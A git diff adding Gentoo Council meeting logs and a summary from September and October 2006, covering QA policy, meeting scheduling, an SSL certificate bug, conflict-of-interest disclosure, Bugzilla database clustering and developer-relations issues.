+[19:49] * antarus|work will talk to qa about creating a subproject for policy authoring then
+[19:50] <antarus|work> a cross-project subproject ;P
+[19:50] * spb doesn't see the point
+[19:50] * antarus|work nods
+[19:50] <wolf31o2|mobile> re: qa policy... from the discussion here, we'd really like something that we can look at and say that we'd stand behind it 100%... I would say that the best thing would be to try to come up with a somewhat representative (and informal) group to assist in writing/modifying existing policy...
+[19:50] <Flameeyes> wolf31o2|mobile's decision is then agreed upon, 
+[19:50] <Kugelfang> spb, antarus|work: please get in contact with infra to work out details of a possible migration
+[19:50] <antarus|work> Kugelfang: I'll do that
+[19:50] <Kugelfang> wolf31o2|mobile: that one needs no vote :-P
+[19:51] <wolf31o2|mobile> qa heads it up... and again, it doesn't have to be formal... since i'm not sure I see the point... but, for example, you'd probably want to grab a bug-wrangler or two... and some toolchain people, etc
+[19:51] <Flameeyes> and arches
+[19:51] * antarus|work nods
+[19:51] <Kugelfang> wolf31o2|mobile: don't forget releng!
+[19:51] --> nephros has joined this channel (n=nephros@gentoo/userrep/nephros).
+[19:51] <wolf31o2|mobile> Kugelfang: right... heh... I'm just trying to rephrase some stuff that's spread over lots of lines into something coherent
+[19:51] <antarus|work> wolf31o2|mobile: you've been doing a great job too ;)
+[19:52] <wolf31o2|mobile> spb: you had something to say about the EAPI thing? it kinda got lost
+[19:52] <Kugelfang> wolf31o2|mobile: that was part of the QA meeting summary
+[19:52] <spb> i think the conclusion there was that it's probably best as it is for the moment, since the bulk of the work has been/is being done by a non-current-developer
+[19:53] <spb> once it's got some substance to it i'm thinking in terms of forming it into a glep that you guys can vote on
+[19:53] <kingtaco|laptop> wfm
+[19:53] <wolf31o2|mobile> WFM
+[19:53] <wolf31o2|mobile> =]
+[19:53] <Kugelfang> i can say it looks promising already
+[19:53] <robbat2> works
+[19:53] <spb> if nothing else, the introduction of it would be a fairly major change to the way we do things
+[19:53] <Flameeyes> wfm2
+[19:53] * kloeri agrees
+[19:54] * antarus|work shall go poof now
+[19:54] <spb> there's a slight question of who would maintain it once that happens, but we can deal with that later
+[19:54] <antarus|work> unless you need more from me?
+[19:54] <Kugelfang> if you guys want to look at it: http://svn.pioto.org/viewvc/paludis/scratch/eapispec/EAPI-0.txt?view=markup
+[19:54] <wolf31o2|mobile> antarus|work: I think we're good
+[19:54] <antarus|work> wolf31o2|mobile: cool, thanks for the input.
+[19:55] <wolf31o2|mobile> spb: hopefully, it would be a joint operation between QA and the portage team (or $package_managers, if you prefer)
+[19:56] <spb> that's certainly one of the options, yeah
+[19:56] <wolf31o2|mobile> ok... so was there anything else?
+[19:56] <Kugelfang> yeah, the slacker mark for vapier
+[19:56] <Kugelfang> :-/
+[19:56] <wolf31o2|mobile> heh
+[19:57] <spb> nothing i can think of
+[19:57] <wolf31o2|mobile> ok
+[19:57] <wolf31o2|mobile> anything else on the agenda?
+[19:57] <Flameeyes> i can update the project page
+[19:57] <Flameeyes> who's going to do the summary?
+[19:57] <wolf31o2|mobile> Flameeyes: please do
+[19:57] <Kugelfang> wolf31o2|mobile: can you do the summary?
+[19:57] <spb> in which case i shall move myself down the road and reappear in a few minutes
+[19:57] <Kugelfang> wolf31o2|mobile: you had some good summaries in between already :-)
+[19:57] <vapier> hrm
+[19:57] <vapier> meeting today huh
+[19:57] <vapier> that's what i get for getting up late
+[19:57] <Kugelfang> vapier: hehehe
+[19:57] <wolf31o2|mobile> Kugelfang: I can try... I'll need to log it
+[19:58] <robbat2> now that vapier is here
+[19:58] <Kugelfang> so no slacker mark for vapier?
+[19:58] <kingtaco|laptop> what about open discussion
+[19:58] <kingtaco|laptop> or whatever
+[19:58] <robbat2> can we decide quickly on times for the meeting?
+[19:58] <Kugelfang> yes please
+[19:58] --> eroyf|out has joined this channel (n=eroyf@gentoo/developer/eroyf).
+[19:58] <Kugelfang> vapier: YOU ARE LATE!
+[19:58] *** spb is now known as peer.
+[19:58] <wolf31o2|mobile> well... my availability is pretty simple... 10am-6pm UTC -5
+[19:59] <wolf31o2|mobile> mon-fri
+[19:59] <robbat2> while 1900UTC does work presently for me, I'd prefer it 2-3 hours later
+[19:59] <robbat2> wolf31o2|mobile, could you state as UTC for the moment please?
+[19:59] <Kugelfang> yeah, please only UTC times
+[19:59] <Flameeyes> that's 15-23 utc
+[19:59] <wolf31o2|mobile> umm... 1500-2300
+[19:59] <wolf31o2|mobile> heh... the -5 made it kinda easy
+[19:59] <kingtaco|laptop> that works for me too
+[19:59] <Kugelfang> for me too
+[20:00] <kingtaco|laptop> pretty much any time as long as it's not sundays
+[20:00] <Kugelfang> i'd like to keep the thursday
+[20:00] <robbat2> my availability is reliably 2000-0300UTC weekdays, and mixed on weekends
+[20:00] <Flameeyes> 15-23 for me too
+[20:00] <Kugelfang> so, thursdays at 2000UTC ?
+[20:00] <wolf31o2|mobile> ok... so thursday... maybe at 2000?
+[20:00] <wolf31o2|mobile> heh
+[20:00] <kloeri> 2100UTC would probably be the latest for me - unless I'm planning to be late for work once a month :)
+[20:00] <kloeri> 2000 wfm
+[20:00] <robbat2> 2000 Thursdays yes
+[20:00] <Flameeyes> 2000 utc, second thursday then?
+[20:00] <Kugelfang> 2000UTC wfm2
+[20:00] <Kugelfang> yes
+[20:00] <wolf31o2|mobile> vapier: how about you?
+[20:01] <vapier> whatever
+[20:01] <vapier> i dislike sleep
+[20:01] <-- inc_ has left this channel.
+[20:01] <wolf31o2|mobile> (now that you're awake)
+[20:01] <wolf31o2|mobile> ok
+[20:01] <wolf31o2|mobile> heh
+[20:01] <wolf31o2|mobile> vapier: care to change your little script?
+[20:01] * g2boojum notes that DST ends fairly soon; does that affect anybody's times?
+[20:01] <vapier> was not aware that devmanual wasnt on gentoo hardware
+[20:01] <wolf31o2|mobile> g2boojum: not mine... I took it into account
+[20:01] <robbat2> g2boojum, that's why 1900UTC isn't ideal for me presently ;-)
+[20:02] <wolf31o2|mobile> vapier: devmanual (the page) is... devmanual's repo isn't
+[20:02] <vapier> ah
+[20:02] <wolf31o2|mobile> so I guess that's it?
+[20:02] <wolf31o2|mobile> open floor?
+[20:02] <robbat2> yup
+[20:02] <kingtaco|laptop> sure
+[20:02] *** wolf31o2|mobile sets the channel mode to 'unmoderated'.
+[20:02] <kloeri> nod
+[20:02] <Kugelfang> so, outside of DST, 2000UTC is the same as 1900ZUTC in DST, right?
+[20:02] <vapier> i dont think anyone commented on my "review" clause
+[20:02] <vapier> we're talking just GLEPs right
+[20:02] <welp[lap]> but thursday's a school night! :o
+[20:03] <robbat2> vapier: when the meeting is over, email the alias with your contact details
+[20:03] <wolf31o2|mobile> Kugelfang: 2000utc is always the same
+[20:03] <nox-Hand> Hey! I can talk again?
+[20:03] <GurliGebis_> I got a little thing I would like the council to have a look at
+[20:03] <Kugelfang> wolf31o2|mobile: :-)
+[20:03] <nox-Hand> vapier: they've missed you! :o
+[20:03] <nox-Hand> welp[lap]: poke?
+[20:03] <vapier> what contact details
+[20:03] <welp[lap]> nox-Hand: unforunatly, yes you can
+[20:03] <wolf31o2|mobile> brb... boss
+[20:03] <nox-Hand> welp[lap]: lol
+[20:03] <Flameeyes> vapier, phone number, mostly
+[20:03] <nox-Hand> Interesting meeting. Very.....diplomatic
+[20:04] <robbat2> vapier, real world ones, so we can phone you next time you're late
+[20:04] <vapier> `jwhois wh0rd.org`
+[20:04] <kloeri> GurliGebis_: state your question please
+[20:04] <GurliGebis_> is it possible to get you to have a look at the bug about the wildcard ssl cert, and come to a conclusion? ( https://bugs.gentoo.org/show_bug.cgi?id=117837 )
+[20:04] <GurliGebis_> it's holding back the new bugday site
+[20:05] *** GurliGebis_ is now known as GurliGebis.
+[20:05] <Flameeyes> shouldn't that be a question for foundation?
+[20:05] <christel> GurliGebis_: i thought we were waiting for the trustees on that one?
+[20:05] <robbat2> could we consider StartCom for certs instead?
+[20:05] <robbat2> they'd be free for the Class 1 CA
+[20:05] <nox-Hand> Night folks, and thanks for an interesting meeting :P
+[20:05] <robbat2> and have better inclusion than CACert
+[20:05] <vapier> we leave funding as a foundation exercise ?
+[20:05] <GurliGebis> christel, the bug has been standing still for a while
+[20:06] <-- nox-Hand has left this server ("leaving").
+[20:06] <GurliGebis> maybe they have forgot it
+[20:06] <kloeri> funding is a foundation issue
+[20:06] <robbat2> their Class 2 CA is not free, but still very cheap
+[20:06] <christel> GurliGebis: i know :/
+[20:06] <-- nephros has left this channel ("A trap door opens under you!").
+[20:06] <kloeri> but I thought some company donated a wildcard cert a while back?
+[20:06] <kingtaco|laptop> GurliGebis, you just got a new foundation, try talking to them
+[20:06] <vapier> then there isnt much for the council to say other than "the trustees should be notified"
+[20:07] <GurliGebis> okay, I'll try and contact them
+[20:07] <GurliGebis> wasn't sure who to ask about it ;)
+[20:07] <vapier> there is a nfp list
+[20:07] <vapier> please use that rather than e-mailing the trustees alias
+[20:07] <GurliGebis> nfp list?
+[20:07] <g2boojum> We're waiting on -infra, incidentally, because a wildcard cert was donated.
+[20:08] <agaffney> GurliGebis: gentoo-nfp (not for profit)
+[20:08] <g2boojum> If -infra would rather we just buy one, I'm okay w/ that.
+[20:08] <kloeri> g2boojum: that's my understanding as well
+[20:09] <GurliGebis> hmm, waiting on -infra :(
+[20:09] <GurliGebis> should I poke them?
+[20:09] <vapier> seems to be the common theme
+[20:09] <vapier> yes, infra needs much poking before something happens
+[20:09] <g2boojum> GurliGebis: Go right ahead.
+[20:09] <GurliGebis> :)
+[20:10] <-- beu has left this server ("brb").
+[20:10] <antarus|work> not like we don't have the cash :0
+[20:10] <antarus|work> wihch reminds me...we have a few grand in SoC money coming
+[20:11] <kloeri> cash could have been squandered away since the last report :)
+[20:11] <robbat2> vapier: you may poke us, but we are working on things
+[20:11] --> beu has joined this channel (i=beu@freenode/developer/gentoo.developer.beu).
+[20:11] <Flameeyes> okay leaving a part the certificate issue
+[20:11] <antarus|work> robbat2: you hiring? :)
+[20:11] <vapier> where's my image gallery :p
+[20:11] <Flameeyes> [that's now infra/foundation matter]
+[20:11] <Flameeyes> any other question for the council?
+[20:12] <kloeri> robbat2: make sure to let people know about that - that would probably reduce frustrations quite a bit
+[20:12] <fmccor> I have an unfair one, if there's no one else.
+[20:12] <Kugelfang> fmccor: shoot :-)
+[20:12] <kloeri> robbat2: infra has been good about bugzie updates lately btw
+[20:12] <robbat2> kloeri, yup, that's where I'm working at the moment
+[20:12] <fmccor> As I say, this is unfair, because it's a new council.
+[20:13] <robbat2> fmccor, vapier is still here, you can try to blame him
+[20:13] <Flameeyes> robbat2, i was going to say that
+[20:13] <fmccor> Now, necessarily, you all wear several hats, because you are all developers, in some cases, leads.
+[20:13] <-- rhican has left this channel ("Ik ga weg").
+[20:13] <frilled|home> robbat2: could you make kind of an "official" statement on how things are going with bugzie, then? I guess that would interest a lot of people :)
+[20:14] <Kugelfang> fmccor: sooo?
+[20:14] <kloeri> frilled|home: there's been several statements regarding bugzie the last few weeks
+[20:14] <robbat2> frilled|home, let fmccor finish his point
+[20:14] <fmccor> Which means situations can arise where there are conflicts of interest.  (E.g., voting on your own GLEP, considering an appeal from devrel, or whatever).
+[20:14] <frilled|home> I know ^^
+[20:14] <Kugelfang> fmccor: the previous council members didn't vote on their own stuff
+[20:14] <fmccor> Well, no.
+[20:15] <kloeri> we just have to abstain from voting in cases of conflict of interest
+[20:15] <fmccor> My question is if there is a policy on that, or should there be?
+[20:15] * robbat2 doesn't intend to vote on his own GLEP on signing in the tree when he finally gets it much closer to ready
+[20:15] <Kugelfang> fmccor: i think we can handle that
+[20:15] <fmccor> Fair enough.
+[20:16] <Flameeyes> i agree with the others
+[20:16] <robbat2> as an addenda to fmccor, could each of us perhaps have stated on the council page what our areas are that might be considered conflict of interest
+[20:16] <fmccor> It's worth mentioning, though.
+[20:16] <Flameeyes> robbat2, that's not an easy one
+[20:16] <robbat2> Flameeyes, just generally, not specifically
+[20:17] <robbat2> eg for myself, infra is my main involvement outside of development
+[20:17] * g2boojum thinks that conflict-of-interest recusals are silly, since you folks are there to advance your (and your team's) interests.  That's why there's six other council members to outvote you if necessary.
+[20:17] <vapier> that was part of the voting process
+[20:17] <Kugelfang> *nod*
+[20:17] <Kugelfang> there is just a slight move to AMD64 in here :-)
+[20:17] <vapier> you werent supposed to run for council if you are unable to handle conflicts of interest
+[20:18] <Flameeyes> vapier has a point, too
+[20:18] <robbat2> g2boojum, I ask for the disclosure so that we can see for ourselves at least that there isn't any strange cabal here where a majority of council is also part of some other group
+[20:18] <vapier> iirc, when the council was first formed, the conflict issue was much bigger as the devrel shakeup was going on at the sametime
+[20:19] <vapier> which is why in the nomination list, we show all the groups each person is part of
+[20:19] <Flameeyes> robbat2, it's a difficult one to decide what has to be put there and what not, what's a big involvement? lead? member? founding member?
+[20:20] <g2boojum> robbat2: I'm not opposed to disclosure, but in general I'm w/ vapier.  It's not like what any of you do is secret, so if people voted you in w/o doing their research that's their problem.
+[20:20] <Flameeyes> also, our roles aren't secret, there's the roll-call
+[20:20] <Flameeyes> but might require updating
+[20:20] <kingtaco|laptop> and ldap
+[20:20] <robbat2> Flameeyes, a lot of updating
+[20:20] <Flameeyes> robbat2, indeed
+[20:21] <Flameeyes> robbat2, what would you think of updating at least the councilers' roles in the next days?
+[20:21] <robbat2> g2boojum, ok, so you would say it's ok for us to vote on our own GLEPs by that then?
+[20:21] <robbat2> Flameeyes, sure, I'll update mine
+[20:21] <kloeri> I can update all the council members in ldap + roll-call
+[20:21] <g2boojum> robbat2: Yep.
+[20:21] <vapier> if you truly cant get over a personal conflict, then you are free to obstain over a point
+[20:22] <Flameeyes> vapier, you forgot the prefix for the number tho
+[20:22] <vapier> it's a US number
+[20:22] <christel> Flameeyes: 001/+1
+[20:22] <vapier> Flameeyes: arent you an american ? :p
+[20:22] <kloeri> I'm more worried about appeals for devrel disciplinary actions than GLEPs personally
+[20:22] <Flameeyes> vapier, >_<
+[20:22] <Flameeyes> christel, yeah i knew that
+[20:22] <g2boojum> Flameeyes: Most USians (myself included) have no idea what our prefix actually is.
+[20:22] <kingtaco|laptop> 001
+[20:22] <g2boojum> s/prefix/country code/
+[20:22] <robbat2> actually the 00 depends where you are
+[20:23] <kingtaco|laptop> it's 1!!!
+[20:23] <robbat2> the + in +1 indicates whatever you outbound international prefix is
+[20:23] <robbat2> '1' is the code for north america
+[20:23] <Flameeyes> okay, done with the country code thing too
+[20:25] <Flameeyes> by the way, do we want this in the log, should i cut it over it, or should leave it unedited?
+[20:25] <robbat2> the above stuff about conflict-of-interest should probably be included
+[20:26] <Flameeyes> robbat2, i meant the country code discussion, the conflict should be included for sure
+[20:26] --> ferringb has joined this channel (n=bharring@c-24-21-135-117.hsd1.mn.comcast.net).
+[20:26] <robbat2> maybe just leave the log up to the defined end of meeting unedited
+[20:26] <robbat2> and let a summary come together
+[20:27] <Flameeyes> acknowledged
+[20:27] <Flameeyes> so?
+[20:27] <Flameeyes> other questions, topics, or we end up here?
+[20:28] <kloeri> I have no more for today
+[20:28] <Kugelfang> i think we're done
+[20:28] <kingtaco|laptop> done
+[20:28] <robbat2> done
+[20:28] <Flameeyes> vapier, wolf31o2|mobile?
+[20:29] <Flameeyes> actually, wolf called a brb because of his boss a while back, so he's probably afk
+[20:30] <Flameeyes> remains vapier, if he's still awake :)
+[20:30] <vapier> ?
+[20:30] <vapier> you asking me if i have any other topics ?
+[20:30] <Flameeyes> vapier, yeah
+[20:30] <vapier> i got nothin
+[20:30] <Flameeyes> so the council meeting for 14 september 2006 closes here
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20061019-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20061019-summary.txt
new file mode 100644
index 00000000..34cb58fa
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20061019-summary.txt
@@ -0,0 +1,37 @@
+On behalf of the Council: following a summary of topics discussed during 
+the last Council meeting. (2006/10/19)
+
+1) As requested by Robbin H. Johnson, the Council discussed the member's
+   current involvement with Gentoo projects:
+
+   Chris Gianelloni:  games, gwn, genkernel, catalyst, new profile
+                      structure, planning for 2007.0
+   Robbin H. Johnson: tree-signing, infra (Bugzilla, anon(cvs|svn))
+   Danny van Dyk:     AMD64 releng (testing, soon new profiles)
+   Kingtaco:          infra(Bugzilla, anon(cvs|svn), utf8 on pecker)
+   Mike Frysinger:    toolchain, base-system
+   Diego Petteno:     Gentoo/FreeBSD
+   Bryan Ostergaard:  Devrel (Developer stats, fact-finding)
+   
+2) Chris Gianelloni had issued a small agenda for this meeting
+ 
+ Inter-project communication: Consensus that communication has improved
+   as of late. This covers especially spread information about project
+   work from Portage/Devrel/Infra to the developers.
+
+   Additionally, the council wants to put meeting summaries on
+   Planet Gentoo and the Gentoo Forums starting with this summary.
+
+ Design phase for new projects: New projects need to post an RFC
+   containing information about their goals, the plan on how to
+   implement their goals and the necessary resources to -dev prior to
+   creating the project.
+
+   This proposal was accepted with 6 members voting yes and one member
+   abstained from voting
+
+ Devrel etiquette guide: Needs still work before Council can discuss.
+   Rescheduled for next meeting. Bryan Ostergaard will be working on it.
+
+ QA Policies: Nothing new and QA lead was not available during the
+   meeting. Discussion has been rescheduled for the next meeting.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20061019.txt b/xml/htdocs/proj/en/council/meeting-logs/20061019.txt
new file mode 100644
index 00000000..4ea14790
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20061019.txt
@@ -0,0 +1,385 @@
+[21:59] *** robbat2 sets the channel mode to 'moderated'.
+[21:59] <wolf31o2|mobile> and I have those profiles mostly done... I've been trying to update them a bit so they're not so far out of date
+[21:59] <wolf31o2|mobile> heh
+[22:00] <Kugelfang> wolf31o2|mobile: what we could discuss is, when to use it
+[22:00] <kloeri> lo all
+[22:00] <wolf31o2|mobile> hi
+[22:00] <Flameeyes> good, 22CEST here, time to start
+[22:00] <robbat2> heya
+[22:00] * KingTaco peeks in
+[22:00] <Kugelfang> wolf31o2|mobile: care to send them to me in a free minute or two?
+[22:00] --> diox has joined this channel (n=diox@gentoo/contributor/diox).
+[22:00] <Flameeyes> vapier
+[22:00] *** Kugelfang sets the channel mode to 'moderated'.
+[22:00] <Kugelfang> consider this as "start" :-)
+[22:00] <Flameeyes> so who's starting?
+[22:01] <robbat2> besides wolf31o2's agenda, could we all mention stuff we're working on lately?
+[22:01] <wolf31o2|mobile> Kugelfang: well... they're really rough right now... I was planning on sending them to everyone
+[22:01] <robbat2> i've got a few bits on infra things
+[22:01] <wolf31o2|mobile> I'll start, if nobody minds
+[22:01] <Flameeyes> robbat2, to which detail?
+[22:01] <Flameeyes> wolf31o2|mobile, you have the stage
+[22:01] <Kugelfang> wolf31o2|mobile: go ahead
+[22:01] <robbat2> wolf31o2|mobile, go
+[22:01] <Kugelfang> i hope vapier isn't late again :-)
+[22:02] <wolf31o2|mobile> games, gwn, genkernel, catalyst... other than that, I've been working on a set of profiles that allow for multiple inheritance, which I plan on showing to everyone once I've got them mostly workable
+[22:02] <Flameeyes> Kugelfang, he was discussing with mcummings on #-dev a while ago
+[22:02] <vapier> your mom is late again
+[22:02] <wolf31o2|mobile> we've started taking requests for 2007.0 on the gentoo-releng mailing list, so planning for that has begun
+[22:02] <wolf31o2|mobile> that's about it
+[22:03] * wolf31o2|mobile hands the floor to robbat2 
+[22:03] <robbat2> besides the tree-signing (i'll return to it in a moment), I've been working with KingTaco on two infra projects
+[22:03] <robbat2> firstly is anoncvs/anonsvn
+[22:03] <robbat2> it's ready to roll, with the exception of one weird iptables issue affecting bandwidth
+[22:04] <robbat2> until that's solved, you can use it, but it is painfully slow
+[22:05] <robbat2> secondly is the new bugzie
+[22:05] <wolf31o2|mobile> yay!
+[22:05] <Kugelfang> (yay)
+[22:05] <Kugelfang> :-)
+[22:05] <Flameeyes> new bugzie or new bugzie setup?
+[22:05] <robbat2> that ones a lot further behind unfortuntely, for a couple of reasons
+[22:05] <kingtaco|laptop> you'll get both
+[22:06] <robbat2> originally we were going to go with a cluster-aware FS for the two database boxes, but then found the status of that in Linux (esp the kernels used by infra), was badly lacking
+[22:07] <robbat2> I've come up with another idea instead for the DB stuff, and I've been prototyping it on the fibrechannel gear I have at home, but it may fall over because of some of the bugzilla code
+[22:07] <robbat2> worst case here, is that we can't use both of the DB boxes we've got
+[22:07] <kingtaco|laptop> in this way
+[22:08] <kingtaco|laptop> remember, they still have local 320
+[22:08] <kingtaco|laptop> which is nothing to sneeze at
+[22:08] * Kugelfang has been slacking due to exam and first week.... i'm going to remove my away status tonight and will try to build a set of test stages for amd64 using latest portage and wolf's implementation of the multiple-inheritance profiles
+[22:08] --> thunder has joined this channel (n=thunder@gentoo/developer/thunder).
+[22:08] <Kugelfang> s/week/% of the semester/
+[22:08] <robbat2> the problem with bugzilla, is that it writes to on-disk tables for some searches done by users
+[22:08] <robbat2> (the 'regetlastsearch')
+[22:09] <robbat2> and if you happen to be sent to the other DB box, you get errors saying your search is invalid
+[22:09] <robbat2> or nonexistent
+[22:09] <wolf31o2|mobile> how much RAM do the boxes have?  Is RAM-based clustering possible?
+[22:09] <kingtaco|laptop> 4G on the 2 db nodes
+[22:09] <wolf31o2|mobile> I know disk-based in mysql is still considered alpha
+[22:10] <robbat2> wolf31o2|mobile, given the limitations of mysql NDB, no
+[22:10] <wolf31o2|mobile> k
+[22:10] <robbat2> it's mainly a matter of hacking out something that will work here
+[22:10] <robbat2> it seems that in other big deployments of bugzilla
+[22:10] <robbat2> they've simply gone with larger and larger DB machines
+[22:11] <robbat2> singular DB
+[22:11] <robbat2> we get to work with what's donated however, so life is 'interesting'
+[22:11] <wolf31o2|mobile> right
+[22:11] <kingtaco|laptop> robbat2, why can't we do single master/slave
+[22:12] <kingtaco|laptop> if multimaster is going to be such a issue
+[22:12] <robbat2> kingtaco|laptop, because of the write problems with the searches :-(
+[22:12] <wolf31o2|mobile> what? writes on master, reads on slave?
+[22:12] <kingtaco|laptop> robbat2, we had it set up on pitr
+[22:12] --> so|home has joined this channel (n=so@gentoo/developer/so).
+[22:12] <robbat2> the replication time in the middle breaks searches, at least when I was testing :-(
+[22:12] <kingtaco|laptop> robbat2, I suppose it's possible that wasn't tested
+[22:13] <robbat2> anyway, we'll get it going soon I hope
+[22:13] <Flameeyes> we all hope so :)
+[22:13] <robbat2> i'll come back to tree-signing later I think, depending on how the rest of this meeting goes.
+[22:13] <kingtaco|laptop> robbat2, anywho, if that's the only thing holding us back, we can simply disable that function
+[22:13] <robbat2> kingtaco|laptop, is there anything other than that infra work you want to add that you've been doing?
+[22:13] <robbat2> kingtaco|laptop, disable searches? you're nuts
+[22:14] <kingtaco|laptop> robbat2, erm, you said redo last search
+[22:14] <vapier> he means the fact you write it to disk
+[22:14] --> jmbsvicetto has joined this channel (n=jmbsvice@gentoo/developer/jmbsvicetto).
+[22:14] <kingtaco|laptop> robbat2, not really, some box moves, that's about it
+[22:14] <robbat2> vapier, maybe you next then?
+[22:15] <kingtaco|laptop> utf8 on pecker
+[22:16] --> edit_lp2 has joined this channel (n=edwho@about/uk/editlp2).
+[22:16] <vapier> does anyone really care what i work on ?
+[22:16] <Flameeyes> vapier, we care what you *don't* work on
+[22:16] <Flameeyes> [it's quicker to say]
+[22:17] <robbat2> vapier, if there's anything amongst it that affects the Gentoo in a big way (eg anoncvs/bugzie), it's probably worth hearing
+[22:17] <vapier> not really
+[22:17] <Flameeyes> vapier, GCC 4.2?
+[22:17] <vapier> i spend most of my day working on the toolchain and/or base-system
+[22:18] <vapier> what about it ?  we have snapshots but no releases
+[22:18] <Flameeyes> vapier, any trouble with it we must be aware of?
+[22:18] <vapier> *shrug*
+[22:19] <Flameeyes> myself, I'm working on Gentoo/FreeBSD as usual...
+[22:20] <Kugelfang> ahhh, do you think you'll be able to release a set of stages for next release?
+[22:20] <Flameeyes> a part the problems to get the new box up now, catalyst works fine to generate the stages, baselayout is now merged back so we have a pretty gentooish setup, should minimise the porting effort in the future
+[22:20] <Flameeyes> Kugelfang, not sure, but if multiple inheritance profiles will be available for that, I might be able to get something
+[22:21] <Kugelfang> cool
+[22:21] <Flameeyes> I can ensure the first stage built with catalyst worked fine, as it's what I'm using now to rebuild the box ;)
+[22:21] <wolf31o2|mobile> =]
+[22:21] <Flameeyes> [and all the trouble I had was hardware/bootloader related up to now]
+[22:22] <Flameeyes> I doubt it can be of interest to list the daily maintainership troubles with this and that :P
+[22:23] <robbat2> so that just leaves Kloeri?
+[22:23] <kloeri> I'm trying to figure out which areas devrel needs to be more proactive in and how we can best improve those aspects of devrel
+[22:24] <kloeri> also, somewhat devrel related I'm trying to do more graphs on developer activity, how many developers joins and leaves the team etc.
+[22:25] <kloeri> hopefully that's going to show some interesting facts important to all the discussions about solving problems by adding more devs etc.
+[22:25] <kloeri> ebuild stuff, I'm trying to bring alpha back up to speed and seeing what I need to do for ia64 now that plasmaroo has resigned
+[22:26] <kloeri> I should be setting up some tinderbox stuff soonish on alpha and ia64 (that's the plan at least)
+[22:26] <Kugelfang> yeah, we need somebody to step up (or to be appointed) to ia64 release coordinator
+[22:26] <kloeri> and finally I'm going to the UK linuxawards on wednesday with Christel and hopefully bringing back an award for "Best Linux / Open source project" :)
+[22:26] <christel> :D
+[22:27] <Flameeyes> christel, sst you shouldn't be talking here ;)
+[22:27] <kloeri> Kugelfang: that's going to be me or agriffis I guess but plasmaroo have promised to help
+[22:27] <christel> oops. sorry!
+[22:28] <kloeri> I'm also trying to pass the bugday project on to eroyf (new dev that's very dedicated to userrel and bugday) to free up some time for stuff where I'm more needed
+[22:29] <robbat2> ok, sounds good
+[22:29] <Kugelfang> kloeri: while we're discussing you and devrel....
+[22:29] <kloeri> ohh, I'm also trying to clean up some of the developer data in ldap/roll-call together with robbat2
+[22:29] <kloeri> that's sort of a longterm project though
+[22:29] <Kugelfang> have you all seen the bug patrick filed against kloeri?
+[22:30] <Flameeyes> no
+[22:30] <robbat2> no
+[22:30] <Kugelfang> I'd like the council to offically back kloeri there
+[22:30] <Kugelfang> lemme dig it up
+[22:30] <Kugelfang> 150851
+[22:30] <vapier> other devrel members weighed in as did i
+[22:31] <vapier> the issue seems to have settled, do we need to add another comment ?
+[22:31] <Kugelfang> no comment... it's just that in this case a devrel bug has been filed against devrel member
+[22:32] <kloeri> s/member/lead/
+[22:32] <Kugelfang> complaints rose up in regard to closing w/o discussion
+[22:32] <robbat2> i'm reading it still
+[22:32] <kloeri> but I agree the issue have settled for now
+[22:33] <Kugelfang> i for one (as laready stated) back him in his decission and would like to have council state that publicly, i.e. in the summary mail to -dev
+[22:33] <vapier> whatever floats your boat, i dont see any mishandling of the issue as kloeri knows
+[22:33] <Kugelfang> i don't see any mishandling either :-)
+[22:33] <wolf31o2|mobile> me either
+[22:34] <kloeri> I don't think there's any current issues but I'm sure it's going to flare up again if/when patrick requests to become a developer again
+[22:34] <wolf31o2|mobile> (though this should have been taken to us, as it really falls under "appeal" more than a report against kloeri)
+[22:34] <kloeri> but devrel will just have to handle that when it comes up
+[22:35] <Kugelfang> can we vote on this please?
+[22:35] <Flameeyes> I don't see any particular reason trying to start a flame, as vapier and kloeri said, the issue is settled now
+[22:35] <robbat2> ok, read it now. in the summary, could we please make some note that the OBJECTIVE is to auto-retired developers with 60 days of inactivity, unless otherwise provable
+[22:35] <robbat2> and that provable is actually doing something, not just offering to do something
+[22:36] <robbat2> eg, you say you're working with me on X, and I can confirm it.
+[22:36] <robbat2> eg Patrick noting that he offered to help infra, and noted he was ignored
+[22:36] <kloeri> robbat2: I'm trying to figure out how to make current policy more clear and will discuss it with devrel soon
+[22:37] <Kugelfang> seems my proposal isn't being voted on :-)
+[22:38] <Kugelfang> shall we proceed with wolf's atgenda then?
+[22:38] <Flameeyes> I'd say so
+[22:38] <robbat2> Kugelfang, i'm not certain I'd stand with you here, I do see the old (previously undertaken) policy as insufficently clear
+[22:39] <wolf31o2|mobile> Kugelfang: to have a vote, specify in a single succinct sentence, etc what to vote on... ex. "Do you think we need to stomp on kloeri for retiring inactive devs?" or "Should we buy a soft-service ice cream machine for the developer lounge?"
+[22:39] <Kugelfang> robbat2: i think that devrel has a certain area of interpretation there
+[22:39] <robbat2> yup, wolf's stuff next
+[22:39] <kloeri> wolf31o2|mobile: yes and yes :)
+[22:39] <Kugelfang> wolf31o2|mobile: retracted my vote :-)
+[22:39] * wolf31o2|mobile stomps on kloeri 
+[22:40] <kloeri> thanks
+[22:40] <wolf31o2|mobile> welcome
+[22:40] <Kugelfang> where's my ice cream machine?
+[22:40] <Kugelfang> wolf31o2|mobile: your first point was inter-project communication iirc
+[22:41] <wolf31o2|mobile> yes
+[22:41] <wolf31o2|mobile> and I thin we got devrel/infra covered
+[22:41] <kloeri> I think the policy can be improved but would also note that it's somewhat intentionally vague as it's impossible to state exactly what constitutes activity with the amount of different roles people have (and new roles getting invented often enough)
+[22:42] <kloeri> I'm probably going to discuss improvements to that part of policy internally in devrel first and then on -devrel ML when we have some proposed improvements
+[22:42] <-- nox-Hand has left this server (Read error: 104 (Connection reset by peer)).
+[22:42] <robbat2> kloeri, could you throw me a copy when you sent it to the devrel ML?
+[22:43] <kloeri> robbat2: sure
+[22:43] <Kugelfang> wolf31o2|mobile: portage communication improved lately imho
+[22:43] <kloeri> think I've done enough interproject communication now :)
+[22:43] <wolf31o2|mobile> yes, it has
+[22:44] <Kugelfang> wolf31o2|mobile: zmedico's mails are quite nice, and the rfcs actually do create discussion with less flames than usual :-)
+[22:44] <wolf31o2|mobile> and for the people that didn't get the email... the basis here was to identify several projects that we thought required more communications... we came up with (basically) infra, devrel, and portage... (from my memory anyway)
+[22:44] <robbat2> i'd like to make an interesting observation point - the discussions about the lack of communication have actually started to improve communication - because many of the lurkers are reading them and being constructive about results ;-)
+[22:45] <kloeri> trustees as well I guess
